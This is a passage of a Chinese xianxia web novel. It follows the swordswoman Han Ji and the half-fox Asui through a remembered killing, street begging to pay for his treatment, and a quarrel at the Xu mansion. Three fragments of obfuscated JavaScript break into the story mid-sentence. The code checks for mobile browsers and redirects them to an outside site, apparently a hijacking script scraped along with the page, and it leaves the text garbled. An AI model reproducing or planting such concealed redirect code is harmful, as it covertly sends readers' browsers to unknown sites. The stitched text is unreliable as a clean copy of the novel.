“我说了,解开我身上的锁妖契,不然下次我还杀你,我就不信你运气这样好,每次都逃得过!” 韩纪头也未回:“我也说了,取出金魄神珠我自然会还你自由。” 她甩去手上水珠,转身凝视着他。 顿了一顿,她继续说:“下一次再想杀我,一定要保证万无一失。要是没杀成,我就挖掉你的眼睛,割掉你的耳朵,拔掉你的舌头,砍去你的手脚,把你像狗一样拴在身边,说到做到。” 她的目光比插入身体的剑刃还要锋利,比流动的溪水还要寒冷。 光是被她这样看着,他的脊背上便扑簌簌地冒起一层冷汗,更别说听到这样可怕的话。 动物的本性使得他清楚这女人绝不是在吓唬他,可他也不是什么任人宰割的牲畜。 他有十分重要的事情要去做,还有人等着他去救,他绝不可能屈服。 他望着她转身离去的背影,望着那月光下笔直而无情的背影,恍然间好似看见了那个人的影子。 一样的冷漠、一样的严苛、一样的不讲道理、一样的心狠手辣,一样的让人……让人讨厌。 阿随捂着伤口,拾起短剑,却发现月光下的石滩上竟然安静地躺着一瓶创伤药。 他警惕地扫了一眼火光闪烁的方向,忍着剧痛捡起那瓶创伤药,拿在手里摩挲着。 创伤药上的红纸是被他撕烂,他自然认得出来。但他心中总是有些发怵,毕竟这黑心女人可不是什么善茬。 犹豫片刻,他拔出瓶塞,将瓶子放在鼻子底下嗅了一嗅,眼中闪出诧异的光芒。 他虽然不是狗,但作为一只狐狸,闻闻药瓶中有没有掺杂其他的药粉对他来说再简单不过。 阿随提起短剑,借着月光试图将伤口上的黑肉割去,低下头时才发现如今自己的伤口一片血红,先前那些被毒素侵染的血肉都被剜去了。 石滩上除去发黑的肉块,也有许多好肉,但那些坏肉确实是被那黑心女人剜去了。 他诧异地望向石滩上那团燃烧的火焰。 黑心女人枕着包袱睡着了,火光簇拥着她。 夜风呼呼吹着,吹动月亮,吹动火堆,也吹着黑夜变白昼。 韩纪再醒来时,天空已经发白。 她坐起身来,长长地伸了个懒腰,目光在四周寻找了一圈,最终落在另一侧石滩上佝偻身子睡着的阿随身上。 韩纪绕到他的身前,弯腰直视着他的面庞。 她不得不承认这只小狐狸长得很漂亮,只是如今这张漂亮的脸苍白得有些不像话。 他颈间的银锁,被溪水洗得发亮,坠在他淡绿色的衣裳上,一晃一晃。 韩纪伸手捏住银锁,仔细看着上面刻的小字,恍惚间竟然觉得在哪里见过。 见过吗?她想不起来。 两根修长而有力的手指,轻轻捏着银锁。 一柄锋利冰冷的长剑,直指自己面庞。 阿随自梦中惊醒,骤然睁开双眼,恰好对上韩纪探寻的目光。 这目光不仅不似先前那般冰冷,还透着几分怜惜,这样的目光对阿随来说简直比淬毒的兵刃还要可怕。 他一骨碌爬起身来,捂着胸口的伤,瞪着她道:“你……你做什么用这样的眼神看着我?!” 韩纪站直了身子,眼中那闪烁着的勉强算得上是温柔的光芒渐渐平息,取而代之的是锋利的寒芒。 “我这个人一向不是很有耐心,你要是拖了我的后腿,我不介意试试传说中锁妖契的厉害了。我猜,你也不想变成一条言听计从的狗,对吗?” 她话中的威胁与嘲讽意味是那样的明显,阿随心中那被一夜冷风吹熄的怒火又被她的声音点燃。 他抬眼瞪着她,冷冷道:“你要是敢利用锁妖契让我为你做更多的事情,我就是一头撞死,也不会让你如愿以偿。” 太阳从云层中探出头来,日光冷冷地落在他的脸上。 含泪的秋海棠,恶毒的罂粟花。 这样苍白虚弱而美丽的脸上,竟能出现如此凶恶狠辣的眼神。韩纪俯视着他的脸,心中不免有些触动。 良久,她挑眉道:“那就要看你会不会耽误我的行程了,你要知道,现在你的生死都捏在我手里。” 他还是拖了韩纪的行程。 二人行至一个小镇,连日的饥饿与寒冷让阿随不受控制地发起高烧。 韩纪将阿随扶到街角,伸手试了试他的额温,发现烫得吓人,拨开他胸口的衣裳,见那伤口正流出脓血,想去给他请个大夫,可是摸遍浑身上下唯一值钱的东西就是楚清妙魂魄依附的玉牌。 当然,还有他的银锁。 玉牌自然是不能拿去典当,他的银锁只怕死也不肯相让,否则以周得善那奸商兽走留皮,雁过拔毛的架势,这银锁早被融成银块了。 但这小狐狸如果再不治伤说不准真会死在半路上。 韩纪盯着他苍白的面庞,心道:“这只小狐狸死了倒是不要紧,金魄神珠要是为了救他一命,融在他的身体之中,日后我再想取出便是难上加难了。” 这一瞬间,韩纪的脑海之中浮现出许许多多的办法,但最终都被她一一否决。 她总不能去绑个大夫来给这小狐狸治病。 年轻的时候,她自然是做过这种荒唐事的。 只是那一次,她付出了惨痛的代价。 那个时候,万剑山弟子卫长风与她一同下山历练。 一次捉妖,卫长风为她挡下一剑,伤及心脉,危在旦夕。 韩纪情急之下在路上绑了一个名医为卫长风治伤,却不曾想这名医的一个徒弟竟是蛇妖所化。 彼时的韩纪与卫长风已经是享誉天下的仙门奇才,死在二人手下的妖孽数不胜数。 蛇妖的父母正是死在卫长风剑下。 蛇妖为了报仇,假借送药之名,趁乱绑走了重伤垂危的卫长风。 韩纪心急如焚,当即要冲上山去,杀妖救人。 名医平日里待蛇妖如同亲子,拿性命为蛇妖做担保,说自己有把握可以说服蛇妖放下仇恨,迷途知返,只求韩纪能给他一日的时间让他亲自上山为卫长风治伤。 如果他保证卫长风性命无虞,她也必须放蛇妖一马。 此时群山迷雾重重,瘴气横行。 韩纪没有把握能立刻找到蛇妖所在,自然退了一步。 她就这样在山下守了一日一夜,待到第二日天明之时,仍未见名医带着卫长风下山。 她再也等不了了,提剑杀上了山。 山中妖怪激烈反抗,死伤无数。 待到韩纪杀到蛇妖洞府,天色已暗。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941775|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她杀红了眼,心中只记挂着卫长风的安危,冲入山洞中,见一片灰蒙蒙中,卫长风被铁链捆绑在石椅上,双眼紧闭,不知死活。 一个人影拿着匕首朝卫长风刺去。 她的剑,在她回过神时已经插进了那个人的身体。 那是个人,是个女人。 蛇妖洞府之中妖气横生,这女人身上不知为何又散出妖气,韩纪竟将她当做了蛇妖,一剑毙命。 几乎在一瞬间,凄厉绝望的惨叫声响彻山洞。 名医扑倒在女人的尸体上,通红的双眼看着周遭的一切。 他愤怒地指着韩纪,悲痛万分地怒吼着:“为什么?!我的女儿有什么错?你为什么要杀了她!” 韩纪这时才发现,卫长风身上的锁链已断。 在她的长剑刺进那女人的胸膛之时,那女人手中的匕首削断了卫长风身上的铁索。 拖着蛇尾的蛇妖从一侧的山洞中爬出,看见女人的尸体,仰天长笑,笑着笑着,就落下泪来。 他怒吼道:“师父,你劝我弃恶从善,劝我放下仇恨,为了救我杀父杀母的仇人,你与阿珠不惜给我下药,可如今你告诉我,究竟什么是善什么是恶?你那清如明镜的心中,此时此刻,有没有升起怨恨!” 蛇妖疯了一般朝韩纪扑来,被韩纪一剑扫开,口吐鲜血,倒在地上,再爬起身来时竟冲着卫长风扑去。 在名医绝望的叫喊声中,韩纪再次挥剑将蛇妖斩做两段。 冰冷的血从蛇妖断开的身体中流出,他仍旧不死心地朝卫长风爬去。 韩纪提剑再斩,名医却冲上来,用自己的身体护住了蛇妖的身体,撕心裂肺地哭喊道:“把我也杀了!先杀了我!先杀了我!” 韩纪举起的剑终究是没有落下。 在她震惊而不解的目光中,蛇妖握住了那死去女子的手。 他看着女人苍白的脸,气若游丝地喃喃道:“师父,求求你,把我和阿珠葬在一处,把我和阿珠葬在一处……” 他这话是对名医说的。 韩纪猛然想起来,一开始她劫走名医时,名医一直念叨的那句话。 “我的女儿阿珠怀了身孕,我正要为她送去一些安胎药,误了时间怕是不行。” 韩纪当时同他讲:“什么安胎药?你给我,我帮你送去,你若是不放心,人我也可以帮你接回来。我保证,有我在,没人可以伤你女儿一根毫毛。” 名医连连摇头,宁可花重金请一个商铺的小贩替他去送药,也决计不许韩纪去送。 那时韩纪并不清楚原因,可此时此刻她懂了。 阿珠肚子里的孩子是这条蛇妖的,若是让韩纪去送药,只消一眼,韩纪便能看出。 可是,如果让韩纪去送,说不准,韩纪便不会朝阿珠刺出这一剑。 蛇妖握着阿珠的手闭上了眼睛,妖气散去,可怖的身躯化作一条小蛇蜷缩在阿珠的怀中。 名医抱着阿珠的尸体一步一步地走出了山洞,走到韩纪身侧时,他停住了脚步,颤声道:“老夫只是一个大夫,年事已高,寿元将尽,杀不了你,也不能杀你,可苍天有眼,老夫死后必定化作厉鬼纠缠你一生一世。” 说罢,他便抱着女儿的身躯往山洞外狂奔而去。 一声响彻群山的巨响。 山林中传来群妖的哭嚎声。 韩纪的脑海中却是一片死沉沉的寂静。 她把卫长风送下山后,来到山崖之下找寻名医与他女儿的尸骨,只找到了一滩血泥。 名医的血肉,蛇妖的血肉,阿珠的血肉和阿珠腹中那半妖的血肉全部混在一起,真正意义上地做到了葬在一处。 山风摇曳着树木化作漫天灵幡,为这一家四口送葬,天空洒下无边无际的雨丝,点点滴滴落在韩纪脚下。 韩纪仰头看着乌云密布的天,痛苦地闭上了眼睛。 她知道,她会遭报应的。 她相信,她会遭报应的。 那日之后,她结束历练,回到寒山宗,剥离情魄,受寒潭刻石之刑三年。 10. 原来是她 嘈杂的长街上,所有声音都淹没在往事的濛濛细雨之中,韩纪被淋得湿透。 “你……在想什么?” 一道虚弱的声音自漫天山雨之中传出,韩纪循声看去,阿随靠着脏污的石砖仰头看她,面色苍白,双眼湿红。 雨,褪去了,明亮的阳光照在韩纪的手边。 韩纪注视着他虚弱的面容,垂眼道:“你要死了。” 阿随已经没有恨她的力气,他仰头看着天上灿烂的白云,叹道:“我死了你不是很开心,为什么露出那样难过的眼神呢?”顿了一顿,他自嘲道:“总不会是为了金魄神珠吧?” 她竟不知她露出了难过的眼神。 韩纪瞟了他一眼,移开目光,不解道:“那你呢?你不难过么?” 阿随苦笑道:“生命是可贵的,谁要是要失去它,都会感到难过,但我是例外。” 他重重地叹了一口气,直叹得整个人都往下沉了一沉,方才停下缓缓道:“我活了一百多年,这一百多年来,没有一刻不害怕,没有一刻不恐惧,没有一刻不后悔……我一直以为我害怕的是死,可如今死到临头,我才知道我害怕的是再也见不到我想见的人。” 半妖,也会有想见的人么? 是那个为他打造平安锁的人吗? 韩纪斜睨着他,不发一言。 阿随道:“你……不问问我想见谁吗?” 韩纪奇怪地瞧着他,半晌,淡淡道:“总归不会是我,我问不问有什么区别。况且,我也没有心思知晓一只狐狸死前最想见谁。” 阿随听了这句话,出奇地没有露出愤恨的神情,而是露出了一抹淡淡的笑容。 韩纪还是第一次看见他如此纯粹,如此简单的笑容,她望着这令人动容的笑容,问:“你笑什么?” 阿随道:“你刚刚说话的模样很像我想见的那个人。” 韩纪有些诧异,只是她的诧异被她脸上戴的面具遮住。 她沉思一瞬,缓缓道:“像我这样自私自利,无情无义,铁石心肠的人,并不是什么好话。” 她顿了顿,又道:“我不会让你死的。” 阿随叹道:“我身受重伤,你身无分文,你想救我,要怎么救呢?” 韩纪道:“我说了,我会挣钱。” 这下轮到他露出诧异的神情。 他苍白的脸不见血色,干枯的嘴唇上泛起玫瑰花瓣般的白皮,湿红的眼睛一眨,问:“你怎么挣钱?” 韩纪偏头看向长街两侧的摊铺:“要饭。” 阿随不可置信:“你说什么?” 韩纪再次重复道:“要饭。” 阿随偏着脑袋,费力地打量了一遍眼前的黑心女人,气息奄奄地说:“你有这么好的身手,可以抓贼捉妖,上街卖艺,有那么多挣钱的活路,你要去要饭?” 韩纪道:“抓贼捉妖需要时间,上街卖艺不合门规,其余的诸多活路中,我只要过饭。”她顿了一顿,补充道:“要饭不违反门规。” 天底下哪个正经仙门会把不许要饭写入门规? 阿随觉着自己去要饭说不准都比这黑心女人去要好些。 眼见她要起身离去,阿随喘息着说道:“真去要饭,你也改改行头……” 韩纪上下扫视了自己的穿着,又偏头看了看一些角落中的叫花子的模样。 阿随叹了口气,费尽全力地说:“太……太干净了,扯烂衣袖,抹点污泥。” 韩纪蹙眉照做。 阿随指了指自己的面庞,见这黑心女人没理解,咳嗽两声,喘息着道:“把面具摘了,满大街的叫花,谁戴着面具?你……你不叫人看看你那惨白的脸,可怜的神情,谁愿意给你钱?” 这只小狐狸似乎很有要饭的经验。 韩纪沉思刹那,伸手绕至脑后解开面具的绑绳,揭下红狐面具,偏头看向他,淡淡道:“这样成吗?” 阿随面色骤变。 黑亮的眼眸出神地瞧着眼前这黑心女人的面庞,原本平静如水的目光涌起汹涌澎湃的春潮。 她的脸算不得多漂亮的脸,起码在妖族之中,是让人过目即忘的。 韩纪自然也有自知之明,她第一次照镜子的时候就清楚自己长了一张十分平庸的面孔,既不是十分美丽,也不是十分丑陋,充其量只能算是看得过眼,绝不能让人出神地盯着。 因此,在发觉阿随惊愕的目光时,她蹙起眉头,冷冷道:“你见过我?” 她的声音是那样的冷漠无情,仿佛冰川之中凝固了数万年的寒冰。 阿随惊惶回神,眼珠一转,有气无力地嘲讽道:“我只是从未见过长得如此普通的女人,长成这样日子一定过得很可怜……” 话未说完,苦香袭来,啪的一声脆响。 他挨了重重一耳光,直被打得偏过头去,嘴角沁血,半晌没回过神。 “小狐狸,我得提醒你。”韩纪凑近,呼吸洒在他的脖颈上,声音平静,“第一,我不是任你评判的女人,我是掌握你生死的主人。” 顿了一顿,她续道:“第二,说实话。” 阿随眼帘垂落刹那,再抬起眼来,目光中满含自嘲的意味。 他望着她冰冷的面容,道:“传言中沉迷男色,勾结妖宗,偷盗仙草,连累师门的弟子楚清妙我怎么会不认得?我可真不敢相信,有朝一日我居然能落到你手上。” 韩纪未曾想楚清妙的恶名也传得这样广,她张嘴想替她辩解,却又不知从何说起。 良久,她淡淡道:“连你这只小狐狸都这样骂我,可想而知在别人眼中我的名声有多么不堪。” 阿随白皙的脸上还带着通红的掌印。 他费力地伸手擦去嘴角的血迹,一连吸了好几口气才慢慢道:“我才没有心思去骂一个小姑娘。上次见你是在万春山山脚下,那个时候你和你的师兄在山下给周围的百姓看病送药,我听得他们喊你‘清妙清妙’。我想,真是一个好名字,也是一个好姑娘,只可惜不遇良人,芳心错付,如今性情大变,哪有当初那温柔如水的模样。” 韩纪疑道:“你怎么知道我芳心错付?” 阿随有气无力地说道:“我可是狐狸,爱过的人没有一千也有八百,男人好不好我都不用眼睛看,鼻子一闻就知道是什么货色。”说到此处,他又不受控制地咳嗽了起来。 韩纪注意到,他的嘴角又沁出了血丝。 这一次,这血丝不是她打出来的,而是他呕血呕出来的。 “要去要饭,我有一个好主意……”阿随掩面咳嗽着说,“不如你带上我,说我是你重病的弟弟,咱们路上遭遇土匪,如今身无分文,只求路人施舍些钱财,你好带我去求医……” 韩纪觉得此计甚妙,点了点头。 阿随望着她干净的脸,喃喃道:“你的脸太干净了,不够落魄。” 韩纪抓了把泥灰往自己脸上抹去,转头看向阿随,问:“现在呢?可显得落魄些?” 阿随缓缓摇头,道:“不好,不均匀,太过刻意了。” 既无镜子,又无可照人相的积水,韩纪只得又抹了两下,可转头看向阿随时,见他还是摇头。 韩纪叹了口气道:“还不行?那要怎么样?”语声有些不耐烦。 阿随掩住咳嗽,道:“其实如果你不介意,我可以帮你抹抹。虽说脸上的泥灰只是小事,但是其实很多事情真不真实,就是看这些小事。” 他说得很是认真,也很有道理。 韩纪实在想不出拒绝他的理由,也找不出介意他的理由。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941776|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微风吹拂着墙角的野草,一朵的紫色的小花从乱石的缝隙中探出头来,在轻柔的风中一点一点地点着头。 阳光照耀下的脸庞,并不似他想象中的温暖,指尖传来的温度依旧是冷冰冰的。 就好像在触碰凝聚成型的魂魄。 他自己的魂魄。 他周身的神经都因这刹那的触碰而颤栗。 他强忍着这股颤栗,小心翼翼地擦拭去她额角与脸颊上过重的黑灰,收回手来,轻轻道:“好了,现在已经很好了,如今我们只差一只破碗了。” 韩纪左顾右盼,在墙角的泥灰之中捡出半只破碗。 她方将那只破碗摆到身前,阿随再也控制不住地剧烈咳嗽起来。 他咳得甚是骇人,似乎要将心肺都一并咳出。 韩纪正欲帮他顺气,哪知他身子一斜,哇的呕出一口血来。 血珠飞溅在他惨白的脸上,让那张美丽的脸看上去是那样的楚楚动人。 韩纪不禁怀疑,说不准她还没要到钱,他就已经死了。 正在此时,一阵清脆的叮当声在破碗中响起。 韩纪低头一看,只见碗中有几个铜板。 她有些惊讶地看向来人,迟疑一瞬,道:“我和我弟弟在路上遭遇了……” 她的话还没有说完,又是一阵清脆的叮当声。 “他吐了这么多血,实在太过可怜,快去给他抓些药吧。” 韩纪看着说话的少女,又转头看了眼眉头紧蹙,虚弱至极的阿随,喃喃道:“我还没说完话……” “小丫鬟,我的钱不多,你拿去给你家少爷买药吧。若是能帮到他,我也不图回报。日后,你们也去帮助其他人好么?” 又是一阵清脆的叮当声。 “这样可怜的孩子,生得这么漂亮,想来也是家里人捧着长大的,如今沦落街头,眼见就要病死了,他爹爹妈妈看见了,不知得有多心疼呢。夫君,我们反正也有钱用,就给他们点钱去看病,当为肚子里的孩子积德了。” 又是一阵清脆的叮当声。 “我家小姐说了,‘好俊俏的公子,真是我见犹怜。’只不过这里太脏了,她过来会弄脏衣裙,特地让我来给你们点银钱,拿去治病,你们要是治好了,要记得我家小姐今日的恩德。” 又是一阵清脆的叮当声。 韩纪看着破碗里满满当当的铜板和碎银子,婉拒了另外几个好心人的捐赠。 她把银钱倒入空空的钱袋子里,钱袋子瞬间变得胀鼓鼓。 她转头看着阿随那张宛如寒梅落雪一般美丽的脸,感叹道:“你真是要饭的奇才。” 阿随斜靠着墙,听见她的声音,想掀起眼帘看她,可无论如何也睁不开眼。 他的意识跌入一个无止境的黑洞之中,一直一直下坠。 黑暗将他包围,随之而来的是寒冷。 一个声音在他耳畔低吟着,似乎已经低吟了一千年一万年。 那声音平静地说:“此处便是你的葬身之地。” 正当他要以为自己要继续下坠之时,一个怀抱接住了他。 那怀抱依旧是冰冷的,那臂膀依旧是坚硬的,可却是那样的坚不可摧。 他下意识地想,一定是一具冰冷的神像接住了他。 这个念头随即被打散,因为他是最低贱的半妖,神佛不会怜悯他。 可接住他的神像恰在此时动了动,阿随睁开眼。 床边,韩纪立在他身前,正同另一侧的大夫低声说话。 “大夫,他伤得很重,你帮他好好瞧瞧,多谢你了。” 照耀了大地千年万年的日光从窗棂之中射出,洒在她的肩头,随即轻柔地落在阿随的指尖。 托她的福,他第一次感受到日光的温度。 11. 徐府重逢 “听说了么,徐府太老夫人过世得蹊跷,死之前一直指着窗外说有鬼,徐府现在请了一堆仙门弟子去捉鬼呢!” 刚过嘉州城城门,韩纪便听见一旁的叫花子窃窃私语。 她正要过去仔细询问,那叫花子便举起手中的木棍朝她示威:“喂!这里是我们的地盘,想乞讨去别的地方,不然打得你满地找牙!” “滚!” “快滚!” 韩纪扯了扯浑身上下破烂不堪的衣服,白了一旁的阿随一眼,埋怨道:“小狐狸,要不是你说得这样才能要到饭,我也不至于这样像要饭的。” 未免要到太多饭,阿随如今穿得比韩纪还要穷困潦倒一些,英俊的脸上涂抹着黑灰,看上去像个被烧黑的木炭。 听见韩纪的话,他闷声道:“如果不是靠千辛万苦一口一口要来的饭,咱半路上就饿死了,哪能活着到嘉州城。” 韩纪对他的话充耳不闻,望着远处隐现妖气的府邸,眉头舒展开来,便将要饭的事情抛至脑后,低声叮嘱:“不出意外的话,下一个灵宝就在嘉州城里,我找到它解开金魄神珠的封印,便立刻破除锁妖契放你走。一会儿进了徐府,你一定要用金魄神珠封住自己的妖气,不然打起来我管不了你。” 阿随点了点头,似乎心情不佳,便没再说话。 约莫一炷香后,韩纪停在一座挂满了白灯笼的府邸前。 府门外丫鬟与家丁正在与前来吊唁的客人们交谈,镇府石狮两侧支起了粥棚,凡为太老夫人美言者皆可有一碗白粥喝。 “太夫人心善,这是功德圆满修成正果了!” “太夫人对我等有恩,是大善人!” …… 两侧为徐太夫人歌功颂德的声音不绝于耳,韩纪并不理会,径直地往门厅中走去,却被一名小厮拦住。 小厮抓住她的胳膊,一边将她往外攘去,一边蛮横地说着:“粥铺在外头,你这臭乞丐去外头讨粥喝,莫要弄脏了宝地,碍贵人的眼!” 韩纪还未出声,一只更加强壮的胳膊便夺了出来,掰开小厮的手。 那小厮连声呼疼,正要咒骂,便对上一张奇黑无比的面容。 阿随推退他几步,冷声道:“狗眼看人低的东西,再对我家姐姐无礼,仔细你的舌头!” 韩纪看那小厮疼得直冒冷汗,忍不住瞪了阿随一眼,心中暗骂:“都说事出反常必有妖,这小狐狸一路上乖得像条小狗似的,我还以为他转了性。没想到一上来就让我招人记恨,恐怕是想借刀杀人,真是亡我之心不死!” 小厮一屁股跌坐在地,见男子脸色铁青,气势汹汹,一时之间不敢言语,只是恶狠狠地拿眼睛去瞅韩纪。 “怎么回事?还不滚下去,在这里瘫坐着,成何体统。”一名老年妇女在丫鬟的搀扶下走了过来,斜睨地上的小厮一眼,便上前客客气气地同韩纪寒暄,“手底下人没见过世面,怠慢了客人,老身赔个不是。敢问二位从何处来,又往何处去呢?” 见是一名老妇,韩纪一把推开甚是骇人的阿随,笑道:“老人家,我们是玉苍派的弟子,曾与贵府太老夫人有过一面之缘,听闻太老夫人仙逝,特来告慰。” 说罢,她取出玉苍派弟子的玉牌交与老妇,老妇眯着眼打量片刻,将玉牌交还回去,连声道:“贵客贵客!真是有失远迎!老身是徐府管事的嬷嬷,二位叫我王婆即可。” 一人一妖进了门厅,跟着王婆的引领走到灵堂,正给太老夫人烧香,便听得后面有丫鬟喊道:“王妈妈,康哥不见了!” 王婆一听,惊恐万状地放下手中的香盘,准备去寻那康哥,又转回身来急匆匆地同韩纪解释道:“二位贵客,老身如今有急事在身无法陪同在侧,老爷因太老夫人过世悲痛欲绝此刻还在病中无法见客,府中备了粗茶淡饭,二位贵客稍后一定要用一些再走,如有招待不周之处,还望多多包涵。”说罢,她嘴唇哆嗦着走了。 韩纪一听有饭吃,上了香后便找了张角落的桌子擦着手等人上菜。 “这徐府还是谦虚,明明准备了这么多鸡鸭鱼肉,还说是粗茶淡饭,这要是粗茶淡饭,我平时吃的那些怕是狗食了。”韩纪吃着鸡腿自嘲,鸡腿方啃了个囫囵,便听得后头传来尖锐的讥讽声。 “呦,可不是狗食吗?有些人知晓裴师弟在此,闻着味儿就来了。” 小辈之间的爱恨情仇让人头痛,眼前的美味佳肴让人食指大动。 声音刺耳,韩纪却无心生事,依旧啃着自己的鸡腿,只是怀中藏着楚清妙魂魄的玉牌热得发烫。 她吃鸡腿的动作一滞,脑海之中浮现楚清妙的记忆。 这说话之人便是逍遥峰峰主的爱徒仇千水,她口中的裴师弟便是诓骗楚清妙、陷害玉苍派与万法妖宗勾结的裴云齐。 这二人一个唱红脸,一个唱黑脸,没少让楚清妙打掉牙齿和血吞。 眼见着韩纪不搭腔,仇千水径直走至韩纪面前,将她手中的鸡腿打飞到地上,目光却旋转至韩纪身侧的阿随身上。 韩纪也不睬她,拿了个肉包子接着吃。 一时之间,满院的人都盯着她看,她见韩纪不怒不恼,涨红了脸,尖酸刻薄地说道:“楚清妙,你该不会是得不到裴师弟,饥不择食找了你身边这个脏兮兮臭烘烘的丑八怪排解相思之情吧,你还真是来者不拒呀!” 阿随妖在桌边坐,骂从天上来,正要起身便被韩纪死死踩住了脚。 韩纪将手中的包子撕成两半塞进嘴里,慢吞吞地吃完了,才抬起头看向仇千水那张如盛开的牡丹花一般美丽的脸,心平气和地说:“修仙者自当清心寡欲以求提升修为,我自逍遥峰碧玺洞一别后便专心修炼,心中再无其他儿女私情,听着你的话,你心中还挂念着这些情情爱爱。既入仙门,便该勘破红尘专心修炼,眼中只看得见不同的男人,如何能修成正道呢?” 她的声音清脆坚定,叫满座宾客都目露赞同之意。 阿随随即冷冷道:“常言道,以小人之心度君子之腹,这位仙长,该不会你自己爱慕那位裴师弟,爱而不得,误入歧途,走火入魔,转头将怒气都洒在我们这些无辜之人身上吧?” 仇千水面色一变,啪的一巴掌打在韩纪左脸上,怒道:“你这个勾结魔教,为祸人间的仙门叛徒,也敢羞辱我?!你不看看你是什么东西!你们玉苍派又是什么东西!竟敢将我与韩纪那厮相提并论!” 韩纪平白无故挨了一耳光还未发作,阿随便已拍桌而起。 木桌在他这一击之下从中断裂开来,满桌的吃食尽数散落,韩纪顾不得脸上的疼痛眼疾手快地抢救下一只烧鹅,甚为不满地抬头看向阿随,却见他脖颈之处青筋暴起,显然已经气到极致。 往常与他斗嘴逞凶,也没见过他气成这个样子,韩纪不由得蹙起眉头,面露疑色地看着仇千水。 阿随上前一步,厉声骂道:“你算什么东西!竟敢出言侮辱韩宗主!” 仇千水握紧手中七星鞭,冷笑道:“韩纪那厮不过是占了出生得早的好处,先贤仁慈,对她诸多忍让,若是她现在遇见我,我非把她打得滚出仙门道盟不可!她犯下累累罪行何人不知何人不晓!实话实说怎么算得上侮辱。” 韩纪将烧鹅包好放到一旁,一股怪异的情感如同藤蔓一般爬上她的身躯。 她从前斩一切妖除魔无数,却不曾想修仙界传遍她的恶名之时,一个小小的半妖却敢为她仗义执言。 眼见着阿随颈后毛发浮起,韩纪担心他暴怒之下露了妖相,连忙将他挡到身后,冷声道:“站在我身后,哪都不要去。” 阿随阴沉着脸站在韩纪身后,双目狠毒地看着仇千水,抓着韩纪衣袖的手因愤怒微微发抖。 仇千水见那这生得宛如黑炭一般的男子躲在楚清妙身后,转而讥讽道:“堂堂男子躲在女人背后,缩头乌龟一个,真是上不得台面的东西!” 韩纪伸手轻轻揩去嘴角的鲜血,如星子一般晶亮的眼眸死死地盯着仇千水,道:“仇千水,斗嘴便斗嘴,你又提韩纪又动手是个什么道理?” 仇千水冷哼一声,道:“怎么?我说错了么?照我看,你倒是与韩纪很是相似。韩纪幸运,有叶长老为她作保这才能享香火供奉,至于你,我瞧你身边这位不过烂鱼臭虾,只怕要让你活活饿死——” 她话未说完,只觉眼前闪过一道影子,回过神来脸上已被重重掴了一掌。 仇千水半边脸立刻高高肿起,她不可置信地抚着自己脸颊,双眼怒视韩纪,恶狠狠道:“你……你……你敢打我?你不要命了吗?” 韩纪冷着脸抽出身后的青木杖,直勾勾地看着她,皮笑肉不笑地说:“你动手打我,我如何不能打你?” 仇千水骂道:“你是什么东西——” 韩纪眯了眯眼,眼中寒芒如电,吓得她不敢说话。 “我只同你说三点,一,我身边这位不管是什么臭鱼烂虾,他就算是一条狗,那也是我的狗,不是你能置喙的;二,仙门向来尊师重道,韩纪是你的长辈,就算是你逍遥峰掌门见了她也要喊一声韩宗主,更何况你;三,如果你再敢打我的脸,我就先杀了你,再带着你的尸首去你们逍遥峰门前以死谢罪。你听清楚了吗?” 韩纪每说一句,便上前一步,目中寒芒渐长,身上杀气腾腾,竟吓得仇千水连连后退。 在场宾客纷纷起身远离二人,生怕二人斗法伤及自己。 从前只会仰视着自己的人渐渐直视着自己的目光,那双孱弱似水的眸子里这一次没有如往常一般闪烁这晶莹的泪花,而是压着怒火与杀意。 仇千水捂着红肿的面颊,不由得有些害怕,心虚至极地回转眼眸,目光却在眼眸转到一处的时候明亮起来。 她面上浮现出淡淡的笑容,面色也渐渐红润起来,如遇救星一般高声唤道:“裴师弟,我在这里!” 怀中的玉牌如同心脏一般跳动了一瞬,或许是魂魄相接的原因,韩纪在听见裴云齐的名字之时,居然感到了一丝心痛。 她有些不可置信地回身,瞧见海棠树下站在的男子。 长身玉立,风度翩翩,怪不得楚清妙那小丫头倾心于他,只可惜,他眸色沉沉,灵力不纯,配不上楚清妙。 裴云齐的目光在触及韩纪的面庞时停滞了一瞬,那一瞬极其短暂,短暂到韩纪都分不清楚他到底有没有看见自己。 但最终他直直越过韩纪,来到仇千水身侧,柔声道:“师姐,我与卫师兄他们正在找你,你快与我走吧!” 仇千水却不肯走,她朝韩纪抬了抬下巴,道:“师弟,这位玉苍派的仙门叛徒方才出言辱我,说我身为仙门弟子,耽于情爱,无心修炼,难担匡扶人间的重任,还打了我,是不是需要给我道歉?” 裴云齐仿佛此刻才看见仇千水脸上的红痕,不悦地皱起眉头。 仇千水虽在询问,但其实已经预料到了答案,眉目之间的得意与挑衅不加掩饰地展露。 一朵国色天香的牡丹在淤泥之中长了出来,每一片花叶上都沾满了恶意的泥沼。 果不其然,裴云齐只犹豫了一瞬,便转身逼迫道:“楚清妙,你以己度人,口出恶言,动手伤人,还不给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 